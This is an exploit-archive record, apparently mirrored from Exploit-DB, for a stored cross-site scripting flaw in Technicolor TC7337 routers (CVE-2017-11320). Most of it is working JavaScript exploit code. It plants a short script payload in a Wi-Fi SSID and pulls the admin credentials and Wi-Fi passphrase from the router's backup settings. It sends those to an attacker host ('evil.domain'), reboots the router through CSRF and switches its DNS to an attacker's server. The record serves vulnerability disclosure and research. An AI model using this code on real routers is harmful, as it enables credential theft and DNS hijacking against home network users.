{"exploit":{"id":"EDB-42427","name":"Technicolor TC7337 - 'SSID' Stored Cross-Site Scripting (XSS)","description":"Technicolor TC7337 - 'SSID' Stored Cross-Site Scripting (XSS)","cves":["CVE-2017-11320"],"author":"Geolado giolado","published":"2017-08-03","platform":"cgi","type":"webapps","language":"JavaScript","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42427","path":"exploits/cgi/webapps/42427.js","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42427.js","vulnerabilities":[{"id":"CVE-2017-11320","state":"PUBLISHED","title":null,"titleSource":null,"description":"Persistent XSS through the SSID of nearby Wi-Fi devices on Technicolor TC7337 routers 08.89.17.20.00 allows an attacker to cause DNS Poisoning and steal credentials from the router.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-11320","cvss":{"version":"3.0","baseScore":6.1,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-11320"},"updatedAt":"2024-08-05T18:05:30.570Z","retrievedAt":"2026-11-27T13:12:26.193Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42427.png?v=2","url":"https://exploitbin.com/exploits/EDB-42427","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42427/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42427/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// Device : Technicolor TC7337\n// Vulnerable URL : https://your.rou.ter.ip/wlscanresults.html\n// XSS through SSID : '><script src=//url.co></script>   ( Exactly 32 bytes u_u )\n//                             ^\n//  5char domains are running  |    'src' does not requires quotes , and passing the URL with ony '//'\n//  out, grab yours !          +---> it will cause the browser to make the request with the current protocol,\n//                                   which is HTTP , duh\n// Below is the content of url.co/index.html\n// index.html ( which is just a JavaScript actually, but we have to use the index to fit the 32 chars ) :\n\nfunction get_passwords(attackers_server) {\n  // attackers_server = server to send the credentials\n  // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n  // XSS to get Admin's login/passwd + Wifi passphrase\n  // from backup settings\n\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/backupsettings.cmd\", false); // GET the Backup XML\n  xmlhttp.send();\n  var k = xmlhttp.responseText.indexOf(\"Admin\") ; // Search for Admin's Login and Password\n  var y = xmlhttp.responseText.indexOf(\"KeyPassphrase\") ; // Search for Wifi PassPhrase\n  // Add a img requesting the attacker website with the leaked passwords in the GET parameters\n  document.write('<img src=\"'+attackers_server+'?net='+ encodeURIComponent(xmlhttp.responseText.slice(k,k+100)+xmlhttp.responseText.slice(y,y+80))+'\">');\n}\n\nfunction reboot_router() {\n  // XSS + CSRF reboot router\n  // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n  // Why? Because It's fun to watch a XSS doing 'physical' stuff\n\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/resetrouter.html\", false); // GET the page of the reset interface\n  xmlhttp.send();\n  var w = xmlhttp.responseText.indexOf(\"Key\") ; // Search for the SessionKey, some sort of CSRF Token\n  var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes\n\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/rebootinfo.cgi?sessionKey=\"+sessionKey, false);\n// Request the reboot page with the CSRF token\n  xmlhttp.send();\n}\n\nfunction dns_poisoning(attackers_dns) {\n  // attackers_dns = malicious DNS Server\n  // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ holy shit my code is ugly as fuck , sorry world\n  // Alter the DNS Config of the Router\n  // changing the Primary and Secondary DNS to the attacker's one\n\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/rede-dnsv4.html\", false); // GET the DNS Config page\n  xmlhttp.send();\n  var w = xmlhttp.responseText.indexOf(\"Key\") ; // Search for the SessionKey, some sort of CSRF Token\n  var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1]; // Regex because the key is inside quotes\n  var i_wanip = xmlhttp.responseText.indexOf(\"wanip\");\n  var wanip = xmlhttp.responseText.slice(i_wanip,i_wanip+30).match(/'([^']+)'/)[1];\n  var i_wansubnet = xmlhttp.responseText.indexOf(\"wansubnet\");\n  var wansubnet = xmlhttp.responseText.slice(i_wansubnet,i_wansubnet+30).match(/'([^']+)'/)[1];\n  var i_wangatewayip = xmlhttp.responseText.indexOf(\"wangatewayip\");\n  var wangatewayip = xmlhttp.responseText.slice(i_wangatewayip,i_wangatewayip+30).match(/'([^']+)'/)[1];\n\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/rede-dnsv4.cgi?enblDhcpClnt=0&wanIpAddress=\"+wanip+\"&wanIfName=wanbridge&wanSubnetMask=\"+wansubnet+\"&wanIntfGateway=\"+wangatewayip+\"&dnsPrimary=\"+attackers_dns+\"&dnsSecondary=\"+attackers_dns+\"&sessionKey=\"+sessionKey, false);\n  xmlhttp.send(); // Send the request to SAVE the Primary and Secondary DNS with the CSRF Token\n\n  //After saving we need to apply the settings. yeah, fuck logic --'\n\n  //Getting a brand NEW SessionKey\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/rede-dnsv4.html\", false); // GET the DNS Config page\n  xmlhttp.send();\n  var w = xmlhttp.responseText.indexOf(\"Key\") ; // Search for the SessionKey, some sort of CSRF Token\n  var sessionKey = xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex because the key is inside quotes\n\n  xmlhttp=new XMLHttpRequest();\n  xmlhttp.open(\"GET\", \"/wandnscfg.cmd?sessionKey=\"+sessionKey, false);\n// GET the apply DNS page\n  xmlhttp.send();\n}\n\n//Choose your path !\n//get_passwords(\"https://evil.domain/\") ;\n//reboot_router();\ndns_poisoning(\"1.3.3.7\")\n\n// TimeLine\n// ---------\n// 08/07/2017 - First email sent to the vendor (no answer)\n// 16/07/2017 - Second email sent to the vendor (no answer)\n// 18/07/2017 - Third email sent to the vendor (no answer)\n// 02/08/2017 - Full Disclosure","sha256":"fc599684d6218da27772f55889e7d3bf186e6c38e98bb8f928ed9b4657508d13","bytes":4597,"fetchedAt":"2026-11-27T13:12:25.939Z","encoding":"utf-8 (display only; download retains original bytes)"}